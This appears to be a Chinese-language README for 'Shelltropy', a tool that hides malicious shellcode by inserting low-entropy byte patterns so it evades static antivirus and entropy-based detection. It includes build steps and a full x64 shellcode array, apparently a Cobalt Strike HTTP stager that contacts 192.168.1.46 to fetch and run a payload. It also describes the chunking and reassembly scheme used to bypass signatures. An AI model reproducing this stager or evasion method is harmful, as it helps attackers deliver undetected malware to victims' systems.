一种基于Shannon编码的低熵隐藏恶意Shellcode的技术。
熵是衡量数据（此处：Shellcode）随机性的指标。熵越高，数据越随机。Shannon熵算法会返回0到8之间的结果，其中8表示数据中没有模式，因此非常随机；0表示数据遵循某种模式。
注意： 请参阅我的博客文章，了解更详细的研究说明以及一个简单的Vanilla Shellcode注入PoC。
克隆此仓库：
git clone https://github.com/kleiton0x00/Shelltropy.git
对于编码器：
创建一个新的Visual Studio项目，导入 Entropy.h 和 shannonEncode.cpp，然后直接编译。
对于带Syscalls的Shellcode注入PoC：
打开位于 /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj 的Visual Studio项目文件，然后直接编译。
注意： 如果需要基于WinAPI的简单Shellcode注入PoC，请参阅我的博客
对于解码器（可选，因为已包含在Shellcode注入PoC中）：
创建一个新的Visual Studio项目，导入 shannonDecode.cpp，然后直接编译。
$ python3 shellcodeFormatter.py
BYTE payload[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xfb,0x20,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x78,0x51,0x48,0x4c,0x00,0x30,0x96,0x54,0xc4,0x1f,0x1c,0xa8,0x3b,0xcb,0x64,0x4f,0xb0,0xb2,0x75,0x09,0x9f,0x7f,0x94,0x1c,0xf7,0x6a,0x53,0xc5,0x96,0xf3,0xea,0x28,0x51,0x8e,0x68,0x86,0xc4,0x4b,0x9a,0xb3,0xd6,0x54,0x82,0x22,0x90,0x89,0xbd,0x84,0xc4,0x73,0x97,0x2a,0xd9,0xbe,0x2d,0xd1,0x34,0xb9,0x18,0xb8,0x63,0xbc,0x52,0x14,0x3f,0x84,0x4e,0xeb,0xab,0x79,0x4a,0x89,0x42,0x26,0x8b,0xe7,0x12,0x48,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x31,0x30,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x4f,0x57,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x36,0x2e,0x30,0x3b,0x20,0x4d,0x41,0x53,0x50,0x29,0x0d,0x0a,0x00,0xba,0xf1,0x47,0xbe,0x2f,0x60,0xce,0xf4,0x22,0xc0,0x41,0x82,0x1f,0xb8,0xdb,0xa9,0x01,0x08,0xe0,0xf6,0x87,0xf9,0x24,0x72,0x49,0x5b,0xf6,0xf8,0xa9,0xa1,0x08,0xc9,0x90,0xaa,0x2c,0x71,0x11,0x52,0x60,0x6a,0x94,0x86,0x80,0xc5,0xbe,0x16,0x3e,0x8d,0x15,0xc9,0xf5,0xae,0x9b,0x5d,0x77,0xc2,0x30,0x76,0x2a,0xbf,0x6a,0xc2,0xf6,0x2a,0x35,0xae,0x1d,0x4d,0xa6,0x62,0xe7,0x16,0x7a,0x25,0x05,0xc5,0x80,0x0e,0xf9,0x06,0x45,0x87,0x4d,0x52,0x20,0x5b,0x33,0xd3,0x6a,0x59,0x95,0xb7,0x56,0x1b,0xc5,0xbb,0x91,0xe3,0x97,0x82,0xd5,0xfc,0x6c,0x11,0x48,0x6a,0x64,0xf1,0xe6,0xc1,0xd4,0xef,0x75,0x74,0x20,0x58,0xfb,0x27,0x0b,0x5e,0x23,0x9a,0x87,0x86,0x1f,0x3f,0x34,0xdd,0x2c,0xfc,0x59,0x3b,0x51,0xcb,0x56,0x08,0x5d,0x85,0x5e,0x45,0x23,0x4d,0x99,0x8e,0x5f,0x8b,0x35,0x36,0x11,0xce,0x51,0x52,0x7b,0x48,0xda,0x77,0x1b,0x25,0xac,0xe5,0x05,0x9f,0x97,0x96,0xf2,0x2c,0x38,0x5a,0xcd,0x1f,0xbb,0x47,0x0e,0x55,0x60,0xab,0xe3,0x99,0x2f,0x7d,0x35,0xae,0xbc,0x68,0x69,0x5e,0x6b,0xde,0x0e,0xc0,0x6c,0x80,0x9a,0x5a,0xb4,0xfb,0x25,0xb4,0x54,0xa2,0xad,0xc3,0x19,0xf3,0x92,0x48,0xe6,0xb4,0x1d,0xac,0x89,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x34,0x36,0x00,0x5e,0x2e,0x78,0x90};
/Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj 中使用生成的低熵Shellcode。其概念是将数组分块，并在每块之间插入一个低熵字节模式。运行样本时，我们必须在内存中重建原始载荷，从而在此阶段绕过对高熵代码的静态检测。还要注意的是，插入的低熵代码可以遵循多种模式，且插入数量可以变化，因此可用于规避静态签名检测。第二步是将高熵字节块与低熵块合并。毕竟，我们需要将混淆后的代码恢复到最初状态才能进行去混淆，因此第三步将通过删除低熵模式来恢复原始字节数组。
注意： 以下结果仅在CS Shellcode上测试。
~ 原始默认Cobalt Strike Shellcode
（高熵）正常：7.062950
（低熵）编码后：4.527140
~ XOR后的Cobalt Strike Shellcode
（高熵）正常：4.583139
（低熵）编码后：3.278284
高熵（左侧）与低熵（右侧）默认CS Shellcode结合Syscalls（Syswhispers2）的扫描效果：
编码后，Shellcode大小会变为原来的2倍，这会使蓝队/恶意软件分析师更容易检测到此类编码后的Shellcode。
Shellcode注入模板（使用Syscalls2）来自该项目：https://github.com/m0rv4i/SyscallsExample